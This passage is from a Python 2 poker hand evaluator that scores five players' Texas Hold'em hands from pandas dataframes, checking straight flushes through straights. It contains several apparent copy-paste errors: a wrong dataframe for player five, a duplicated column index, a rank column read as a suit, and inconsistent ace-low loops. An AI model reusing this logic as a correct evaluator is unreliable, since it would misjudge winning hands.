list[6][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # With Ace High list[0] = [df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 0]] list[1] = [df4.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 2]] list[2] = [df4.iloc[i * 4 + k - 1, 5], df4.iloc[i * 4 + k - 1, 4]] list[3] = [df4.iloc[i * 4 + k - 1, 7], df4.iloc[i * 4 + k - 1, 6]] list[4] = [df4.iloc[i * 4 + k - 1, 9], df4.iloc[i * 4 + k - 1, 8]] list[5] = [df4.iloc[i * 4 + k - 1, 11], df4.iloc[i * 4 + k - 1, 10]] list[6] = [df4.iloc[i * 4 + k - 1, 13], df4.iloc[i * 4 + k - 1, 12]] list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][ 0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and \ list[3][1] == list[4][1]: a4 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][ 0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and \ list[4][1] == list[5][1]: a4 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[5][ 0] and list[5][0] + 1 == list[ 6][0] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1] and \ list[5][1] == list[6][1]: a4 = max(list[5][0], list[6][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # P5 Evaluation # With Ace Low list[0] = [df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 0]] list[1] = [df5.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 2]] list[2] = [df5.iloc[i * 4 + k - 1, 5], df5.iloc[i * 4 + k - 1, 4]] list[3] = [df5.iloc[i * 4 + k - 1, 7], df5.iloc[i * 4 + k - 1, 6]] list[4] = [df5.iloc[i * 4 + k - 1, 9], df5.iloc[i * 4 + k - 1, 8]] list[5] = [df5.iloc[i * 4 + k - 1, 11], df5.iloc[i * 4 + k - 1, 10]] list[6] = [df5.iloc[i * 4 + k - 1, 13], df5.iloc[i * 4 + k - 1, 12]] for m in range(0, 7): if list[m][0] == 14: list[m][0] = 1 list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][ 0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and \ list[3][1] == list[4][1]: a5 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][ 0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and \ list[4][1] == list[5][1]: a5 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[5][ 0] and list[5][0] + 1 == list[ 6][0] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1] and \ list[5][1] == list[6][1]: a5 = max(list[5][0], list[6][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # With Ace High list[0] = [df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 0]] list[1] = [df5.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 2]] list[2] = [df5.iloc[i * 4 + k - 1, 5], df5.iloc[i * 4 + k - 1, 4]] list[3] = [df5.iloc[i * 4 + k - 1, 7], df5.iloc[i * 4 + k - 1, 6]] list[4] = [df5.iloc[i * 4 + k - 1, 9], df5.iloc[i * 4 + k - 1, 8]] list[5] = [df5.iloc[i * 4 + k - 1, 11], df5.iloc[i * 4 + k - 1, 10]] list[6] = [df5.iloc[i * 4 + k - 1, 13], df5.iloc[i * 4 + k - 1, 12]] list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][ 0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and \ list[3][1] == list[4][1]: a5 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][ 0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and \ list[4][1] == list[5][1]: a5 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[5][ 0] and list[5][0] + 1 == list[ 6][0] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1] and \ list[5][1] == list[6][1]: a5 = max(list[5][0], list[6][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # Straight Flush Evaluation in community cards master = 0 # With Ace Low list[2] = [df5.iloc[i * 4 + k - 1, 5], df5.iloc[i * 4 + k - 1, 4]] list[3] = [df5.iloc[i * 4 + k - 1, 7], df5.iloc[i * 4 + k - 1, 6]] list[4] = [df5.iloc[i * 4 + k - 1, 9], df5.iloc[i * 4 + k - 1, 8]] list[5] = [df5.iloc[i * 4 + k - 1, 11], df5.iloc[i * 4 + k - 1, 10]] list[6] = [df5.iloc[i * 4 + k - 1, 13], df5.iloc[i * 4 + k - 1, 12]] for m in range(0, 7): if list[m][0] == 14: list[m][0] = 1 list = sorted(list, key=lambda x: x[0]) if list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[5][ 0] and list[5][0] + 1 == list[ 6][0] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1] and \ list[5][1] == list[6][1]: master = 1 # With Ace High list[2] = [df5.iloc[i * 4 + k - 1, 5], df5.iloc[i * 4 + k - 1, 4]] list[3] = [df5.iloc[i * 4 + k - 1, 7], df5.iloc[i * 4 + k - 1, 6]] list[4] = [df5.iloc[i * 4 + k - 1, 9], df5.iloc[i * 4 + k - 1, 8]] list[5] = [df5.iloc[i * 4 + k - 1, 11], df5.iloc[i * 4 + k - 1, 10]] list[6] = [df5.iloc[i * 4 + k - 1, 13], df5.iloc[i * 4 + k - 1, 12]] list = sorted(list, key=lambda x: x[0]) if list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[5][ 0] and list[5][0] + 1 == list[6][0] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1] and \ list[5][1] == list[6][1]: master = 1 # Check for Straight flush if master == 1: print "Royal Flush in community cards" elif (SF > 0): print "Straight Flush" b = max(a1, a2, a3, a4, a5) if a1 == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2 == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3 == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4 == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5 == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Check for four of a kind FK = 0 a1 = 0 a2 = 0 a3 = 0 a4 = 0 a5 = 0 # Evaluate for P1 list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list[5] = df1.iloc[i * 4 + k - 1, 11] list[6] = df1.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 4: FK = FK + 1 a1 = m break if count == 4: break # Evaluate for P2 list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list[5] = df2.iloc[i * 4 + k - 1, 11] list[6] = df2.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 4: FK = FK + 1 a2 = m break if count == 4: break # Evaluate for P3 list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list[5] = df3.iloc[i * 4 + k - 1, 11] list[6] = df3.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 4: FK = FK + 1 a3 = m break if count == 4: break # Evaluate for P4 list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list[5] = df4.iloc[i * 4 + k - 1, 11] list[6] = df4.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 4: FK = FK + 1 a4 = m break if count == 4: break # Evaluate for P5 list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list[5] = df5.iloc[i * 4 + k - 1, 11] list[6] = df5.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 4: FK = FK + 1 a5 = m break if count == 4: break # Checking for Four of a kind if (FK > 0): print "Four of a kind" b = max(a1, a2, a3, a4, a5) if a1 == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2 == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3 == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4 == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5 == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Check for full house FH = 0 a1i = 0 a1ii = 0 a2i = 0 a2ii = 0 a3i = 0 a3ii = 0 a4i = 0 a4ii = 0 a5i = 0 a5ii = 0 next = 0 # Evaluate for P1 list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list[5] = df1.iloc[i * 4 + k - 1, 11] list[6] = df1.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 3: for n in (list[0], list[1]): count = 0 if m == n: continue else: for o in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if n == o: count = count + 1 if count == 2: FH = FH + 1 a1i = m a1ii = n break if count == 2: break # Evaluate for P2 list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list[5] = df2.iloc[i * 4 + k - 1, 11] list[6] = df2.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 3: for n in (list[0], list[1]): count = 0 if m == n: continue else: for o in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if n == o: count = count + 1 if count == 2: FH = FH + 1 a2i = m a2ii = n break # Evaluate for P3 list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list[5] = df3.iloc[i * 4 + k - 1, 11] list[6] = df3.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 3: for n in (list[0], list[1]): count = 0 if m == n: continue else: for o in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if n == o: count = count + 1 if count == 2: FH = FH + 1 a3i = m a3ii = n break # Evaluate for P4 list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list[5] = df4.iloc[i * 4 + k - 1, 11] list[6] = df4.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 3: for n in (list[0], list[1]): count = 0 if m == n: continue else: for o in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if n == o: count = count + 1 if count == 2: FH = FH + 1 a4i = m a4ii = n break # Evaluate for P5 list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list[5] = df5.iloc[i * 4 + k - 1, 11] list[6] = df4.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 3: for n in (list[0], list[1]): count = 0 if m == n: continue else: for o in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if n == o: count = count + 1 if count == 2: FH = FH + 1 a5i = m a5ii = n break # Evaluating for Full House if (FH > 1): print "Full House" b = max(a1i, a2i, a3i, a4i, a5i) c = 0 if a1i == b: c = c + 1 elif a2i == b: c = c + 1 elif a3i == b: c = c + 1 elif a4i == b: c = c + 1 elif a5i == b: c = c + 1 if c > 1: b = max(a1ii, a2ii, a3ii, a4ii, a5ii) if a1ii == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2ii == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3ii == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4ii == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5ii == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: b = max(a1i, a2i, a3i, a4i, a5i) if a1i == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif a2i == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif a3i == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif a4i == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif a5i == b: df5.iloc[i * 4 + k - 1, 14] = 1 elif (FH == 1): print "Full House" b = max(a1i, a2i, a3i, a4i, a5i) if a1i == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif a2i == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif a3i == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif a4i == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif a5i == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Evaluate for Flush F = 0 a1 = 0 a2 = 0 a3 = 0 a4 = 0 a5 = 0 # Evaluate P1 list[0] = df1.iloc[i * 4 + k - 1, 0] list[1] = df1.iloc[i * 4 + k - 1, 2] list[2] = df1.iloc[i * 4 + k - 1, 4] list[3] = df1.iloc[i * 4 + k - 1, 6] list[4] = df1.iloc[i * 4 + k - 1, 8] list[5] = df1.iloc[i * 4 + k - 1, 10] list[6] = df1.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 5: F = F + 1 a1 = m break # Evaluate P2 list[0] = df2.iloc[i * 4 + k - 1, 0] list[1] = df2.iloc[i * 4 + k - 1, 2] list[2] = df2.iloc[i * 4 + k - 1, 4] list[3] = df2.iloc[i * 4 + k - 1, 6] list[4] = df2.iloc[i * 4 + k - 1, 8] list[5] = df2.iloc[i * 4 + k - 1, 10] list[6] = df2.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 5: F = F + 1 a2 = m break # Evaluate P3 list[0] = df3.iloc[i * 4 + k - 1, 0] list[1] = df3.iloc[i * 4 + k - 1, 2] list[2] = df3.iloc[i * 4 + k - 1, 4] list[3] = df3.iloc[i * 4 + k - 1, 6] list[4] = df3.iloc[i * 4 + k - 1, 8] list[5] = df3.iloc[i * 4 + k - 1, 10] list[6] = df3.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 5: F = F + 1 a3 = m break # Evaluate P4 list[0] = df4.iloc[i * 4 + k - 1, 0] list[1] = df4.iloc[i * 4 + k - 1, 2] list[2] = df4.iloc[i * 4 + k - 1, 4] list[3] = df4.iloc[i * 4 + k - 1, 6] list[4] = df4.iloc[i * 4 + k - 1, 8] list[5] = df4.iloc[i * 4 + k - 1, 10] list[6] = df4.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 5: F = F + 1 a4 = m break # Evaluate P5 list[0] = df5.iloc[i * 4 + k - 1, 0] list[1] = df5.iloc[i * 4 + k - 1, 2] list[2] = df5.iloc[i * 4 + k - 1, 4] list[3] = df5.iloc[i * 4 + k - 1, 6] list[4] = df5.iloc[i * 4 + k - 1, 8] list[5] = df5.iloc[i * 4 + k - 1, 10] list[6] = df5.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 5: F = F + 1 a5 = m break if F > 0: print "Flush" b = max(a1, a2, a3, a4, a5) if a1 == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif a2 == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif a3 == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif a4 == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif a5 == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Check for Straight SF = 0 a1 = 0 a2 = 0 a3 = 0 a4 = 0 a5 = 0 # P1 Evaluation # With Ace Low list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list[5] = df1.iloc[i * 4 + k - 1, 11] list[6] = df1.iloc[i * 4 + k - 1, 13] for m in range(0, 7): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a1 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == list[5]: a1 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[2] + 1 == list[3] and list[3] + 1 == list[4] and list[4] + 1 == list[5] and \ list[5] + 1 == list[6]: a1 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list[5] = df1.iloc[i * 4 + k - 1, 11] list[6] = df1.iloc[i * 4 + k - 1, 13] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a1 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == list[ 5]: a1 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[2] + 1 == list[3] and list[3] + 1 == list[4] and list[4] + 1 == list[5] and \ list[5] + 1 == \ list[6]: a1 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # P2 Evaluation # With Ace Low list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list[5] = df2.iloc[i * 4 + k - 1, 11] list[6] = df2.iloc[i * 4 + k - 1, 13] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a2 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a2 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[2] + 1 == list[3] and list[3] + 1 == list[4] and list[4] + 1 == list[5] and \ list[5] + 1 == \ list[6]: a2 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list[5] = df2.iloc[i * 4 + k - 1, 11] list[6] = df2.iloc[i * 4 + k - 1, 11] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a2 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a2 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[2] + 1 == list[3] and list[3] + 1 == list[4] and list[4] + 1 == list[5] and \ list[5] + 1 == \ list[6]: a2 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # P3 Evaluation # With Ace Low list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list[5] = df3.iloc[i * 4 + k - 1, 11] list[6] = df3.iloc[i * 4 + k - 1, 13] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == \ list[ 4]: a3 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a3 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[2] + 1 == list[3] and list[3] + 1 == list[4] and list[4] + 1 == list[5] and \ list[5] + 1 == \ list[6]: a3 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list[5] = df3.iloc[i * 4 + k - 1, 11] list[6] = df3.iloc[i * 4 + k - 1, 13] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a3 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a3 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[2] + 1 == list[3] and list[3] + 1 == list[4] and list[4] + 1 == list[5] and \ list[5] + 1 == \ list[6]: a3 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # P4 Evaluation # With Ace Low list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list[5] = df4.iloc[i * 4 + k - 1, 11] list[6] = df4.iloc[i * 4 + k - 1, 13] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == \ list[4]: a4 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a4 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[2] + 1 == list[3] and list[3] + 1 == list[4] and list[4] + 1 == list[5] and \ list[5] + 1 == \ list[6]: a4 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list[5] = df4.iloc[i * 4 + k - 1, 11] list[6] = df4.iloc[i * 4 + k - 1, 13] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a4 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a4 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[2] + 1 == list[3] and list[3] + 1 == list[4] and list[4] + 1 == list[5] and \ list[5] + 1 == \ list[6]: a4 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # P5 Evaluation # With Ace Low list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list[5] = df5.iloc[i * 4 + k - 1, 11] list[6] = df5.iloc[i * 4 + k - 1, 13] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == \ list[4]: a5 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a5 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[2] + 1 == list[3] and list[3] + 1 == list[4] and list[4] + 1 == list[5] and \ list[5] + 1 == \ list[6]: a5 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list[5] = df5.iloc[i * 4 + k - 1, 11] list[6] = df5.iloc[i * 4 + k - 1, 13] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a5 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a5 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[2] + 1 == list[3] and list[3] + 1 == list[4] and list[4] + 1 == list[5] and \ list[5] + 1 == \ list[6]: a5 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # Check for Straight if (SF > 